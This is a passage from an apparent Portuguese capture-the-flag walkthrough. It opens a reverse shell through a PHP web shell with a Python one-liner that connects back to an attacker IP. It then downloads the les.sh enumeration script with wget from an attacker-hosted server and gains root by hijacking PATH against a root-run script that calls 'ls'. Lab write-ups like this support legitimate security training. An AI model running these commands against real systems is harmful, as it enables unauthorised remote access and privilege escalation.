E agora fechar uma shell reversa via URL (não esquece de adequar o SEUIP e porta 443:
http://10.0.0.30/shell.php?HS=export RHOST="SEUIP";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
Pronto! Temos uma shell reversa.
Pós Exploração
Basta pegar a primeira flag no /home/hasckersec/user.txt
b15784898189c7f3f3659dXXXXXXXXXXX
Para conseguir a flag do root, vamos precisar escalar privilégios, pois no momento só temos shell de usuário limitado.
$ cat /etc/os-release
cat /etc/os-release
NAME="Ubuntu"
VERSION="18.04.2 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.2 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
$ uname -a
uname -a
Linux osboxes 4.15.0-45-generic #48-Ubuntu SMP Tue Jan 29 16:28:13 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
Vou criar um pseudo servidor web em Python apenas para realizar a transferência do script para a máquina alvo (importante familiaridade com este conceito):
# python3 -m http.server 80
Agora, na máquina alvo, basta baixar o arquivo (lembre de adequar seu IP):
$ wget http://172.29.34.50/les.sh
Não esque de dar permissão de execução para todo script bash antes de rodá-lo:
chmod +x ./les.sh
Poderíamos tentar rodar algum destes exploit públicos, mas antes, vamos checar se existe algum caminho mais óbvio. Vamos procurar por arquivos que o sistema permite rodar com permissões de root:
Ele encontrou diversos arquivos, dentre ele o /home/ctfdohs/script
Ao olhar seu conteúdo, veremos que ele roda o comando do sistema "ls" como root.
Vamos até a pasta /tmp e criar um arquivo chamado ls que chame um bash. Basta rodar o seguinte comando:
$ echo "/bin/bash" > ls
Vamos então ajustar a variável PATH deste usuário comum para que ele sempre busque comandos no diretório /tmp. Desta forma, ao rodar o comando ls, ao invés de buscar no /bin/ls que possui apenas permissões básicas, ele vai buscar nosso comando ls na pasta /tmp sempre que rodarmos ele a partir do script /home/ctfdohs/script:
$ export PATH=/tmp/:$PATH
Agora basta navegar até a pasta /home/ctfdohs e rodar:
$ cd /home/ctfdohs
cd /home/ctfdohs
$ ./script
./script
Welcome to Linux Lite 4.4
You are running in superuser mode, be very careful.
Thursday 22 April 2021, 22:59:54
Memory Usage: 525/962MB (54.57%)
Disk Usage: 5/217GB (3%)